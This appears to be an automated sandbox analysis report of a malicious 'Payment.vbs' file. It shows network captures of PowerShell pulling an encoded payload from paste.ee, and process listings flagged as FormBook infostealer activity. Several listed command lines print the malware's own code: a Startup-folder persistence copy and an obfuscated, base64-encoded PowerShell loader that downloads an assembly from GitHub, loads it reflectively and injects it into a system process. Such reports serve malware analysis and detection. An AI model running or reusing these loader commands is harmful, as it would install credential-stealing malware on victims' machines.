HgAGKir+CQAAb+0MAAYqAD4A/gkAAP4JAQAofR4ABiouAP4JAAAoVRYABio+AP4JAAD+CQEAKFgWAAYqPgD+CQAA/gkBACj2HgAGKi4A/gkAACj3HgAGKj4A/gkAAP4JAQAoNgEACio+AP4JAAD+CQEAKPUeAAYqPgD+CQAA/gkBACj7HgAGKi4A/gkAACh5HgAGKh4Ce7EBAAQqEzADAEsAAAABAAARIAEAAAD+DgAAOAAAAAD+DAAARQIAAAA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49842	188.114.96.3	443	3768	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:52:32 UTC	67	OUT	GET /d/SKF1O/0 HTTP/1.1 Host: paste.ee Connection: Keep-Alive
2024-10-07 12:52:32 UTC	1202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:52:32 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hzfw4q7P%2Bd9t%2FHvv4aoY90mllzIsBYykLRva7donqIiZHzkY3xdtTOfMujyUeknx0g9Zw6VD07kAXPd0v7vfWYUCtjqCwppk7VLUrJYsrCtU97G9j9kgigN5sQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cee0765cda741db-EWR
2024-10-07 12:52:32 UTC	167	IN	Data Raw: 31 66 37 66 0d 0a 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 1f7f==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-07 12:52:32 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-07 12:52:32 UTC	1369	IN	Data Raw: 4a 4f 46 71 63 6f 76 67 4b 6a 53 68 48 6f 4f 66 2b 30 31 6d 68 6c 55 41 37 73 79 4c 6f 35 30 38 50 77 46 4a 52 30 2b 72 44 57 4e 49 6d 6b 7a 64 39 5a 4b 61 79 4e 4e 42 4b 39 62 4e 65 68 31 4f 6c 68 31 31 2f 57 6e 72 37 7a 4f 71 6e 4f 53 2b 64 78 61 41 6f 79 49 72 43 53 6c 7a 63 32 7a 39 56 79 30 62 44 51 69 63 32 2b 65 51 79 54 42 6c 4f 33 32 31 32 55 6d 74 56 63 55 69 7a 4c 53 78 74 41 4f 35 4a 4c 2b 4d 5a 45 74 44 61 43 5a 44 55 4d 61 51 33 52 59 41 52 65 73 2f 67 31 46 56 33 6c 31 42 67 48 4b 59 2b 31 5a 34 33 7a 34 6f 43 4c 64 45 4b 34 54 75 74 43 71 57 30 66 2b 69 75 51 52 39 46 62 62 49 79 70 54 4f 55 36 54 6f 31 45 6e 5a 5a 71 73 34 66 31 61 66 7a 30 74 30 47 48 66 6b 67 4a 5a 73 7a 68 63 6a 58 79 50 54 66 4e 68 6f 44 47 52 39 73 69 31 58 58 4e 58 Data Ascii: JOFqcovgKjShHoOf+01mhlUA7syLo508PwFJR0+rDWNImkzd9ZKayNNBK9bNeh1Olh11/Wnr7zOqnOS+dxaAoyIrCSlzc2z9Vy0bDQic2+eQyTBlO3212UmtVcUizLSxtAO5JL+MZEtDaCZDUMaQ3RYARes/g1FV3l1BgHKY+1Z43z4oCLdEK4TutCqW0f+iuQR9FbbIypTOU6To1EnZZqs4f1afz0t0GHfkgJZszhcjXyPTfNhoDGR9si1XXNX
2024-10-07 12:52:32 UTC	1369	IN	Data Raw: 49 46 6c 49 41 6d 33 46 57 49 7a 46 44 79 4b 44 6a 46 5a 68 73 44 6c 32 2b 67 61 72 2b 55 61 4b 56 4d 46 6f 64 47 61 45 7a 68 53 4a 77 4f 65 69 4e 46 69 39 71 48 41 2f 34 64 70 56 67 57 54 42 48 77 65 54 56 43 5a 70 74 68 70 64 49 64 77 30 70 68 61 66 42 6d 6f 59 64 32 4e 34 55 47 4e 67 53 68 78 6f 59 43 74 42 74 2f 79 42 69 75 48 41 67 61 54 72 34 54 75 66 37 77 41 6a 4e 37 6f 48 71 70 39 53 52 53 32 2f 2b 33 59 64 6a 67 35 52 4d 61 49 34 44 71 2f 6a 4b 39 79 7a 42 76 74 70 56 4f 52 74 6f 4d 6d 4f 54 55 36 63 55 64 72 4a 4c 67 6d 2f 61 39 34 41 56 68 41 36 30 6a 51 45 65 4c 63 66 39 50 33 35 69 55 43 78 61 4a 45 44 57 45 57 4e 6d 74 67 6c 77 44 74 37 41 4e 72 6b 66 6b 61 70 47 75 53 70 73 6d 54 4b 36 49 32 56 43 6a 50 2f 70 64 2f 34 4f 57 55 73 51 65 69 Data Ascii: IFlIAm3FWIzFDyKDjFZhsDl2+gar+UaKVMFodGaEzhSJwOeiNFi9qHA/4dpVgWTBHweTVCZpthpdIdw0phafBmoYd2N4UGNgShxoYCtBt/yBiuHAgaTr4Tuf7wAjN7oHqp9SRS2/+3Ydjg5RMaI4Dq/jK9yzBvtpVORtoMmOTU6cUdrJLgm/a94AVhA60jQEeLcf9P35iUCxaJEDWEWNmtglwDt7ANrkfkapGuSpsmTK6I2VCjP/pd/4OWUsQei
2024-10-07 12:52:32 UTC	1369	IN	Data Raw: 52 4c 39 72 41 6c 4a 30 44 56 2f 38 2f 4c 61 73 4a 36 64 76 2f 62 6a 71 6e 5a 41 7a 42 7a 51 34 73 63 51 4f 65 32 4f 6f 72 57 6c 31 56 2b 6f 32 64 4a 34 71 53 39 68 38 51 54 4e 63 65 52 32 7a 57 47 6f 37 44 66 63 2f 52 6f 34 6f 48 76 41 67 4a 78 65 73 30 78 36 45 33 39 70 62 57 50 71 55 52 64 50 4f 49 43 58 79 69 54 7a 30 73 70 71 67 55 30 44 67 39 62 2b 4b 75 38 65 43 54 43 56 6a 74 78 75 76 74 46 79 75 63 39 4b 33 4e 30 62 6a 4f 4b 30 55 4b 39 34 58 6b 51 63 75 45 69 7a 32 6e 6b 5a 69 39 59 53 74 78 6f 47 4d 4e 32 69 71 79 64 68 6b 50 45 35 48 30 68 45 30 2b 58 6c 6e 43 5a 6b 6d 2f 46 71 79 64 4e 62 57 42 57 4e 56 67 43 4e 34 45 74 36 72 6c 4a 55 31 59 34 50 71 50 71 59 47 41 6c 6e 46 2b 70 32 51 66 6a 46 4b 2b 52 55 4e 65 6d 7a 57 6d 48 4a 35 56 49 32 Data Ascii: RL9rAlJ0DV/8/LasJ6dv/bjqnZAzBzQ4scQOe2OorWl1V+o2dJ4qS9h8QTNceR2zWGo7Dfc/Ro4oHvAgJxes0x6E39pbWPqURdPOICXyiTz0spqgU0Dg9b+Ku8eCTCVjtxuvtFyuc9K3N0bjOK0UK94XkQcuEiz2nkZi9YStxoGMN2iqydhkPE5H0hE0+XlnCZkm/FqydNbWBWNVgCN4Et6rlJU1Y4PqPqYGAlnF+p2QfjFK+RUNemzWmHJ5VI2
2024-10-07 12:52:32 UTC	1369	IN	Data Raw: 46 62 46 45 33 46 6d 6b 4b 31 6d 66 4b 37 32 6a 34 47 2f 79 4e 58 49 51 45 57 4c 4f 6b 62 37 35 4d 54 4a 78 35 4b 4c 4a 44 4e 4d 50 77 52 35 4a 73 41 56 48 78 6b 6d 56 34 33 7a 51 7a 6a 64 4c 36 5a 68 55 64 48 4e 6d 59 66 38 6c 4e 71 71 61 4a 5a 76 46 6e 35 58 70 36 69 66 73 59 67 33 68 62 74 4b 32 42 4e 6e 4b 4e 61 46 67 4c 2b 6c 7a 32 5a 37 6e 4f 49 5a 46 52 57 47 31 46 55 32 6d 68 67 39 45 63 42 44 62 4b 4f 65 31 55 48 34 6f 5a 57 56 66 77 57 58 45 52 36 6b 57 62 45 58 5a 43 54 74 43 38 49 33 66 30 43 41 71 34 4f 77 74 64 55 4c 31 57 35 4d 68 51 4d 6e 42 76 47 38 65 30 61 50 31 6b 65 34 6e 51 68 43 6e 78 52 76 4e 67 35 4a 7a 4f 68 35 62 61 42 50 38 65 76 38 76 71 69 61 58 6d 76 32 6b 6b 38 5a 75 37 59 32 6a 69 73 52 41 7a 63 54 79 58 37 73 56 61 44 66 Data Ascii: FbFE3FmkK1mfK72j4G/yNXIQEWLOkb75MTJx5KLJDNMPwR5JsAVHxkmV43zQzjdL6ZhUdHNmYf8lNqqaJZvFn5Xp6ifsYg3hbtK2BNnKNaFgL+lz2Z7nOIZFRWG1FU2mhg9EcBDbKOe1UH4oZWVfwWXER6kWbEXZCTtC8I3f0CAq4OwtdUL1W5MhQMnBvG8e0aP1ke4nQhCnxRvNg5JzOh5baBP8ev8vqiaXmv2kk8Zu7Y2jisRAzcTyX7sVaDf
2024-10-07 12:52:32 UTC	1059	IN	Data Raw: 79 71 59 6c 35 42 65 67 54 78 6f 39 6f 71 62 4a 4b 64 4f 65 76 2f 7a 71 53 51 50 4d 72 44 42 41 4f 4b 55 73 42 70 68 4c 70 6f 53 32 4d 48 2f 75 33 51 51 6f 4d 42 7a 61 47 42 31 62 4a 32 73 6d 34 71 69 43 37 2b 39 6f 6d 61 36 57 76 71 6d 77 37 41 62 31 4a 35 39 42 42 7a 62 30 6e 47 62 68 6b 4a 74 59 64 76 36 4e 57 2b 58 58 72 70 56 54 49 58 51 50 49 74 4c 57 2b 63 66 36 68 69 51 51 48 6a 73 6e 51 6e 44 72 6d 53 59 4e 7a 78 45 61 66 61 31 63 61 68 64 63 42 62 59 6b 61 39 73 64 63 66 47 35 47 46 68 41 49 79 6e 78 43 36 65 6c 48 35 54 2b 6a 44 6a 4b 64 56 74 31 31 72 70 75 7a 45 63 43 59 66 43 31 70 35 4e 6b 68 57 72 38 65 31 33 6f 54 79 65 2f 61 50 43 63 37 68 49 6f 34 64 39 70 44 46 39 35 70 33 77 63 34 44 53 4d 49 6e 61 41 6e 43 37 62 67 64 64 36 52 51 49 Data Ascii: yqYl5BegTxo9oqbJKdOev/zqSQPMrDBAOKUsBphLpoS2MH/u3QQoMBzaGB1bJ2sm4qiC7+9oma6Wvqmw7Ab1J59BBzb0nGbhkJtYdv6NW+XXrpVTIXQPItLW+cf6hiQQHjsnQnDrmSYNzxEafa1cahdcBbYka9sdcfG5GFhAIynxC6elH5T+jDjKdVt11rpuzEcCYfC1p5NkhWr8e13oTye/aPCc7hIo4d9pDF95p3wc4DSMInaAnC7bgdd6RQI
2024-10-07 12:52:32 UTC	1369	IN	Data Raw: 37 30 30 30 0d 0a 35 2b 4a 6f 6b 58 57 6e 31 69 4b 6d 37 4c 74 35 64 6c 59 4f 74 66 46 37 69 45 34 75 64 4c 36 6f 70 61 30 38 54 37 57 49 45 55 4b 6c 65 6b 78 50 69 4e 6b 33 4a 42 41 53 33 64 4f 5a 39 74 62 57 4c 30 6d 37 39 6a 51 68 78 36 75 46 67 57 69 30 68 31 56 50 64 4c 43 6c 6e 52 64 47 4e 70 39 6b 73 38 6f 67 43 39 39 5a 56 78 63 37 38 72 42 4f 50 31 44 66 65 79 2b 33 38 31 5a 54 79 4e 6e 59 63 79 2f 6b 41 34 73 53 4c 42 52 6c 56 41 38 39 7a 36 57 65 68 66 4b 31 43 61 55 30 45 47 55 4c 39 6b 2f 48 50 31 55 69 30 53 59 7a 44 31 6f 46 70 4c 47 4e 67 48 57 34 56 50 78 6c 4e 42 77 63 6b 46 42 61 53 65 7a 77 50 51 33 2f 69 53 45 7a 35 47 66 7a 58 74 70 43 68 79 33 72 76 67 45 45 6d 6e 4b 71 42 73 51 45 39 31 59 6d 76 59 54 71 32 4e 71 76 74 6b 4d 49 6b Data Ascii: 70005+JokXWn1iKm7Lt5dlYOtfF7iE4udL6opa08T7WIEUKlekxPiNk3JBAS3dOZ9tbWL0m79jQhx6uFgWi0h1VPdLClnRdGNp9ks8ogC99ZVxc78rBOP1Dfey+381ZTyNnYcy/kA4sSLBRlVA89z6WehfK1CaU0EGUL9k/HP1Ui0SYzD1oFpLGNgHW4VPxlNBwckFBaSezwPQ3/iSEz5GfzXtpChy3rvgEEmnKqBsQE91YmvYTq2NqvtkMIk
2024-10-07 12:52:32 UTC	1369	IN	Data Raw: 41 77 39 78 41 66 64 31 4f 6f 58 6a 46 58 31 47 58 46 78 4a 64 48 46 7a 78 62 42 2f 61 36 55 7a 53 32 6b 32 69 69 39 62 63 37 48 4c 2b 32 4a 4d 49 41 67 31 49 39 6b 36 41 4f 61 38 79 6d 4f 54 4e 36 7a 63 4c 61 4e 51 4a 48 52 45 33 64 67 71 35 30 6e 47 33 35 35 61 67 32 6b 48 4a 39 31 73 49 77 7a 50 4c 4a 56 2b 68 79 4d 74 4b 36 6f 30 52 63 44 72 37 39 45 41 30 55 56 47 68 30 46 33 4e 7a 48 74 49 6e 41 30 2f 2b 4b 41 30 2b 36 4c 35 68 4e 6c 75 76 32 62 38 64 39 46 4c 6f 45 33 4f 32 63 43 66 2f 36 45 66 44 4b 6b 79 31 38 70 34 58 63 46 4e 58 57 71 76 41 2b 31 4a 48 6e 2b 78 78 69 71 69 42 43 38 30 62 48 50 2b 62 4f 49 68 4d 57 54 52 55 4a 43 58 42 4f 74 58 56 79 41 6a 54 35 4b 5a 32 7a 71 79 45 31 61 48 76 53 62 70 32 73 6f 39 63 68 77 46 76 6e 49 70 73 6d Data Ascii: Aw9xAfd1OoXjFX1GXFxJdHFzxbB/a6UzS2k2ii9bc7HL+2JMIAg1I9k6AOa8ymOTN6zcLaNQJHRE3dgq50nG355ag2kHJ91sIwzPLJV+hyMtK6o0RcDr79EA0UVGh0F3NzHtInA0/+KA0+6L5hNluv2b8d9FLoE3O2cCf/6EfDKky18p4XcFNXWqvA+1JHn+xxiqiBC80bHP+bOIhMWTRUJCXBOtXVyAjT5KZ2zqyE1aHvSbp2so9chwFvnIpsm
2024-10-07 12:52:32 UTC	1369	IN	Data Raw: 32 74 34 67 69 78 34 2b 45 43 32 4e 6c 42 5a 4d 66 31 31 49 33 41 43 48 33 61 57 62 62 33 2f 35 75 63 41 4e 47 61 76 50 61 73 35 78 41 73 71 55 63 34 62 49 50 6e 4d 4d 66 48 31 6b 4d 4b 34 50 36 76 45 75 56 76 64 4c 41 63 49 70 39 39 6f 49 7a 44 4b 32 38 70 4d 6d 37 35 63 42 6a 2b 39 4c 2b 48 70 75 6f 59 4d 70 61 36 50 32 79 72 43 45 59 43 72 69 5a 32 51 2b 46 61 6c 76 2b 79 47 42 49 4f 42 53 36 76 61 67 70 64 58 76 62 4a 75 45 34 33 61 4b 6e 68 6e 6b 74 41 64 68 71 7a 4e 56 68 59 37 48 4c 6f 6e 59 51 62 79 54 46 32 6e 6c 61 61 76 65 43 59 2b 53 50 4c 7a 45 5a 30 47 63 62 5a 35 56 6a 6f 6b 78 4c 65 47 76 79 73 32 37 64 56 46 6e 72 4a 62 55 30 63 79 52 76 50 2b 2b 52 32 69 31 49 6a 68 76 52 46 53 4e 7a 76 55 38 2b 57 51 6e 43 55 4b 68 37 4f 73 6b 7a 2b 4b Data Ascii: 2t4gix4+EC2NlBZMf11I3ACH3aWbb3/5ucANGavPas5xAsqUc4bIPnMMfH1kMK4P6vEuVvdLAcIp99oIzDK28pMm75cBj+9L+HpuoYMpa6P2yrCEYCriZ2Q+Falv+yGBIOBS6vagpdXvbJuE43aKnhnktAdhqzNVhY7HLonYQbyTF2nlaaveCY+SPLzEZ0GcbZ5VjokxLeGvys27dVFnrJbU0cyRvP++R2i1IjhvRFSNzvU8+WQnCUKh7Oskz+K

Target ID:	0
Start time:	08:52:14
Start date:	07/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment.vbs"
Imagebase:	0x7ff78d290000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:52:15
Start date:	07/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')')
Imagebase:	0x7ff62fb80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:52:15
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:52:15
Start date:	07/10/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping 127.0.0.1 -n 10
Imagebase:	0x7ff7eae70000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:52:24
Start date:	07/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')')
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:52:26
Start date:	07/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCcrJ2VzYXRpdmFkb0N1dCwnKycgJysnQ3UnKyd0ZGVzYXRpdmFkb0N1dCwgJysnQ3V0ZGUnKydzYXRpdmFkb0N1dCwgQ3V0ZCcrJ2VzJysnYXQnKydpdmEnKydkbycrJ0N1dCwnKycgQycrJ3V0MUMnKyd1dCwgQ3V0YXBwaWR0ZWxDdXQpJykgIC1jUkVwbEFjRSdDdXQnLFtjSEFSXTM0ICAtUkVwTEFDZSAgKFtjSEFSXTEwNCtbY0hBUl04MitbY0hBUl0xMDIpLFtjSEFSXTM2ICAtUkVwTEFDZShbY0hBUl0xMDQrW2NIQVJdNTErW2NIQVJdMTA3KSxbY0hBUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:52:26
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:52:27
Start date:	07/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex ((('h'+'Rfu'+'rl = h3khttps:'+'//'+'ra'+'w.'+'githu'+'bu'+'ser'+'conten'+'t.com'+'/No'+'DetectO'+'n/NoDetectOn/refs/heads/main/De'+'tahNoth-'+'V.txth3k; hR'+'fb'+'ase64'+'Content ='+' (Ne'+'w-Object Syste'+'m.N'+'et.Web'+'Client).DownloadStr'+'ing'+'(hR'+'furl); hR'+'fbinar'+'yC'+'ontent = [S'+'y'+'stem.Conver'+'t]:'+':FromBa'+'s'+'e64Str'+'ing(h'+'Rfb'+'a'+'s'+'e64Co'+'ntent'+')'+'; h'+'Rfa'+'ss'+'embly = [Refle'+'ction'+'.Assembly'+']::Load(hRfbinaryContent); [d'+'nlib'+'.IO.Home]::VAI('+'Cut0/O'+'1FKS/d/ee.etsap'+'//:sptth'+'Cut, Cu'+'td'+'esativadoCut,'+' '+'Cu'+'tdesativadoCut, '+'Cutde'+'sativadoCut, Cutd'+'es'+'at'+'iva'+'do'+'Cut,'+' C'+'ut1C'+'ut, CutappidtelCut)') -cREplAcE'Cut',[cHAR]34 -REpLACe ([cHAR]104+[cHAR]82+[cHAR]102),[cHAR]36 -REpLACe([cHAR]104+[cHAR]51+[cHAR]107),[cHAR]39))"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:52:32
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\appidtel.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\appidtel.exe"
Imagebase:	0xdf0000
File size:	20'992 bytes
MD5 hash:	2C04FB942B2735073D75063E9FFBF50C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2728680734.0000000004690000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.2728680734.0000000004690000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2728578874.0000000003C20000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.2728578874.0000000003C20000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:52:55
Start date:	07/10/2024
Path:	C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe"
Imagebase:	0x260000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	08:52:58
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\convert.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\convert.exe"
Imagebase:	0x750000
File size:	19'456 bytes
MD5 hash:	2B1AC34AB72C95793CFE7E936F15389D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000013.00000002.2976888806.00000000033F0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000013.00000002.2976888806.00000000033F0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000013.00000002.2976926414.0000000003440000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000013.00000002.2976926414.0000000003440000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:53:11
Start date:	07/10/2024
